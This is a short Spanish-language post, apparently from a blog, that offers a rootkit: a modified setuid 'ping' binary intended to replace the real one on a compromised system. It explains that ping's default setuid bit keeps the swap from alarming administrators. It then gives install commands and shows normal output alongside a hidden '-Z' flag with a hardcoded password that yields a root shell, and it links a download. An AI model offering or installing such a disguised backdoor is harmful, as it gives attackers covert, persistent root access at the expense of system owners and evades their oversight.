Es una pequeña y muy simple modificación al conocido comando ping que permite, reemplazando el original por éste en un sistema vulnerado, obtener uid de root mediante un parámetro escondido.
Una de las características interesantes del binario “ping” es que tiene permisos de suid por defecto en los sistemas, para permitir a usuarios sin privilegios de root. Esto implica que el reemplazo del binario por otro con permisos de suid no llamaría la atención de un administrador.
Compilación & Instalación:
root@host$ make root@host$ chmod u+s ./ping
Uso:
Usándolo normalmente es indistinguible del ping original
user@host$ ./ping 192.168.1.1 PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 64 bytes from 192.168.1.1: icmp_seq=1 ttl=253 time=7.62 ms ^C --- 192.168.1.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 7.626/11.630/15.634/4.004 ms
Pasándo el parámetro ”-Z”, y con la contraseña correcta:
user@host$./ping -Z .ThisReallySucks root@host$ whoami root
http://www.gnuler.com.ar/files/pingrootkit.tar.bz2
md5: e19afeeeb6309c2e3b7f6dc750ce11b2
sha 256: c7acdb96649bef8bef829b8576e58a4b7fd44ac4f648b44e4b5698740849a301